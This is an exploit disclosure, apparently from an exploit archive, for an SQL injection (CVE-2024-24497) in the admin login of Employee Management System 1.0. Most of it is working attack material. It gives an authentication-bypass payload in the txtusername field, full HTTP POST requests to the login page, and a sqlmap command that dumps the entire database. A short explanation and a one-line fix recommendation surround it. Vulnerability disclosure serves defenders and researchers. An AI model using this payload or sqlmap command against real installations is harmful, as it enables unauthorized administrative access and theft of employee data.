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3.4 KiB
Markdown
# Exploit Title: Employee Management System 1.0 - `txtusername` and `txtpassword` SQL Injection (Admin Login)
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# Date: 2 Feb 2024
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# Exploit Author: Yevhenii Butenko
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# Vendor Homepage: https://www.sourcecodester.com
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# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html
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# Version: 1.0
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# Tested on: Debian
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# CVE : CVE-2024-24497
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### SQL Injection:
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> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.
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### Affected Components:
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> /employee_akpoly/Admin/login.php
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> Two parameters `txtusername` and `txtpassword` within admin login mechanism are vulnerable to SQL Injection.
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### Description:
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> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.
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## Proof of Concept:
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### Manual Exploitation
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The payload `' and 1=1-- -` can be used to bypass authentication within admin login page.
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```
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POST /employee_akpoly/Admin/login.php HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate, br
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 61
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Origin: http://localhost
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Connection: close
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Referer: http://localhost/employee_akpoly/Admin/login.php
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Cookie: PHPSESSID=lcb84k6drd2tepn90ehe7p9n20
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: same-origin
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Sec-Fetch-User: ?1
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txtusername=admin' and 1=1-- -&txtpassword=password&btnlogin=
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```
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### SQLMap
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Save the following request to `admin_login.txt`:
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```
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POST /employee_akpoly/Admin/login.php HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate, br
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 62
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Origin: http://localhost
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Connection: close
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Referer: http://localhost/employee_akpoly/Admin/login.php
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: same-origin
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Sec-Fetch-User: ?1
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txtusername=admin&txtpassword=password&btnlogin=
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```
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Use `sqlmap` with `-r` option to exploit the vulnerability:
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```
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sqlmap -r admin_login.txt --level 5 --risk 3 --batch --dbms MYSQL --dump
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```
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## Recommendations
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When using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters. |